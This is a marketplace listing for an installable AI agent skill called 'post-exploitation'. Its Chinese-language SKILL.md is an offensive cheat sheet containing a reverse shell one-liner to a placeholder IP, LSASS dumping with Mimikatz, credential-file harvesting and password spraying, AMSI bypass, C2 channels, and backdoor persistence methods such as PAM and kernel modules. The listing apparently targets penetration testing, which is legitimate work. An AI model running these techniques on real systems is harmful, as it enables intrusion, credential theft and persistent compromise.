post-exploitation
后渗透/提权+凭据破解+密码学:反弹shell,Linux/Windows提权,横向,隧道,免杀,C2持久化,hashcat/Padding Oracle/hash长度扩展。Use when post-exploitation, privilege escalation, lateral movement, or…
Skill by langbyyi
Install
Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.
npx agentmarket install skill/langbyyi-post-exploitation
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About
Use cases: finance
Reviews
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What's inside
- Skill name
post-exploitation- Description
- 后渗透/提权+凭据破解+密码学:反弹shell,Linux/Windows提权,横向,隧道,免杀,C2持久化,hashcat/Padding Oracle/hash长度扩展。Use when post-exploitation, privilege escalation, lateral movement, or cracking crypto.
- License
- Apache-2.0
- Instructions
- 23 lines in SKILL.md · view on GitHub
Before installing
- Instructions read files in your home folder (~/.ssh, ~/.aws…)
Files (1)
- SKILL.md
SKILL.md (first lines)
## 后渗透 / 提权 / 凭据破解 / 密码学
```
=== 后渗透/提权 ===
反弹shell: bash -i >& /dev/tcp/IP/4444 0>&1 | OpenSSL加密绕IDS | PTY: python3 -c 'import pty;pty.spawn("/bin/bash")'
Linux提权: sudo -l;SUID(GTFOBins);getcap;cron;可写文件 | LinPEAS/pspy | cap_setuid/Docker组/LD_PRELOAD
Windows提权: PrintSpoofer/GodPotato(SeImpersonate) | 服务错配/AlwaysInstallElevated | procdump LSASS→Mimikatz | winPEAS
横向: PtH crackmapexec/wmiexec | SSH密钥收割 | 凭据位置 .bash_history/.my.cnf/.netrc/.git-credentials
🚨RDP凭据确认(密码正确但RDP未启用): hydra报"account might be valid but not active for remote desktop" + impacket rdp_check返回"Connection reset by peer"(而非"Access Denied")= 密码正确但账户无RDP权限。
验证: 先用已知错误密码测rdp_check得到"Access Denied"作基线,目标密码返回reset=确认。确认后用同凭据喷其他服务(FTP/SMB/MySQL/BT Panel/SSH/Web后台)。
隧道: ssh -L/-D/-J | chisel反向SOCKS | ligolo-ng | 容器逃逸:特权容器chroot/CAP_SYS_ADMIN/docker.sock/runc CVE
免杀: Linux DDexec内存执行/memfd | Windows AMSI修补/直接syscall(SysWhispers3)/Donut/Sliver/Havoc
C2/持久化技术清单: Beacon(长睡眠+jitter低调) vs 交互式shell(打点快但吵) | 信道 HTTPS/DNS隧道/域前置(Domain Fronting)/CDN前置/合法云(Slack/Telegram/GitHub当C2)
Linux持久化: cron/systemd timer/SSH authorized_keys/PAM后门/LD_PRELOAD/.bashrc/rc.local/恶意内核模块
Windows持久化: 注册表Run键/计划任务/服务/WMI事件订阅(无文件)/启动文件夹/DLL劫持/COM劫持/快捷方式 | 每处持久化都进 `pentest-output-standards` 台账可回滚
=== 凭据破解 + 密码学攻击 ===
hash破解: hashcat -m <mode> hash wordlist -r rules/best64.rule | 识别 hashid/hash-identifier | 常用mode 0(MD5)/100(SHA1)/1000(NTLM)/1800(sha512crypt)/3200(bcrypt)/13100(Kerberoast TGS)/18200(AS-REP)/22000(WPA)/16500(JWT)
策略: 先字典(rockyou)+规则(best64/dive)→掩码爆破?d?d?d?d→组合攻击 | john --format= 兜底 | 在线彩虹表 crackstation先查
密码学攻击(不用爆破直接破): Padding Oracle(padbuster解密/伪造CBC密文) | ECB字节翻转(分块猜) | hash长度扩展(hashpump伪造签名,服务端 hash(secret+data)校验) | 弱IV/固定nonce复用(异或还原明文) | RSA小e/共模/Wiener小d(RsaCtfTool) | JWT alg混淆见 `web-attack-methods` 认证授权
```From langbyyi/CyberStrikeAI-SRC, Apache-2.0.
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Signals
- Stars
- 131
- Forks
- 11
- Open issues
- 0
- Last commit (this folder)
- Aug 14, 2026 (2 months ago)
- Last release
- Oct 16, 2026 (11 days ago)
From GitHub (fetched Oct 24, 2026).
Details
- License
- Apache-2.0
- Repository
- github.com/langbyyi/CyberStrikeAI-SRC
- First seen
- Oct 24, 2026
- Last checked
- Oct 24, 2026
- Source
- GitHubgithub-graphql
Same skill elsewhere
Copies of this SKILL.md published by others; search shows only one of them.
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AIPentest
后渗透/提权+凭据破解+密码学:反弹shell,Linux/Windows提权,横向,隧道,免杀,C2持久化,hashcat/Padding Oracle/hash长度扩展。Use when post-exploitation, privilege escalation, lateral movement, or…
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browser-assisted-hunting
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Entry P1 category router for API security.
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Authentication bypass testing playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
ssti-server-side-template-injection
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SkillAFreshness: A★ 131Claude Code +9 - 0.730score
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Business logic vulnerability playbook.
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Cite this page
post-exploitation skill. Agent Mart. https://agentmart.dev/skills/langbyyi-post-exploitation (last updated 2026-10-24)